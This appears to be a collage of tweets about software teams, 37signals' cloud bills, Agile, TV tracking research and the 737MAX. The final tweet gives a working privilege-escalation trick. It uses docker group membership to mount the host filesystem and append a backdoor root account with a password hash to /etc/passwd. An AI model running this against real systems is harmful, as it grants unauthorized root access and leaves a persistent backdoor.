Software is not built by individuals. It is built by teams. To do this, the teams must possess shared values, principles, and practices.

We spent $3,201,564.24 on cloud in 2022 at @37signals, mostly AWS. $907,837.83 on S3. $473,196.30 on RDS. $519,959.60 on OpenSearch. $123,852.30 on Elasticache. This is with long commits (S3 for 4 years!!), reserved instances, etc. Just obscene. Will publish full accounting soon.

There is no future for Agile. The term has been corrupted to the point that it's describing a dysfunctional way of working, antithetical to the original philosophy, concepts, and thinking. But... 1/2

I am often asked what I think about scaled agile frameworks. This slide does a good job of summing up my viewpoint, except for the last point. We need more research on how successful large companies coordinate the work of small autonomous teams to achieve larger goals.
I'm really liking the writing on this slide. I hadn't thought of it that way, good to see.

Fascinating thread 👇 – at Oberding, Deutschland
When we watch TV, our TVs watch us back and track our habits. This practice has exploded recently since it hasn’t faced much public scrutiny. But in the last few days, not one but *three* papers have dropped that uncover the extent of tracking on TVs. Let me tell you about them.

This thread! And remember: "It's always either a business success or an IT failure"
Replying to @trevorsumner
Some people are calling the 737MAX tragedies a #software failure. Here's my response: It's not a software problem. It was an * Economic problem that the 737 engines used too much fuel, so they decided to install more efficient engines with bigger fans and make the 737MAX.

You land on a computer and `id` shows you're part of the `docker` group. Escalate to root with: $> docker run -it --rm -v $PWD:/mnt bash adds backdoor toor:password #> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd
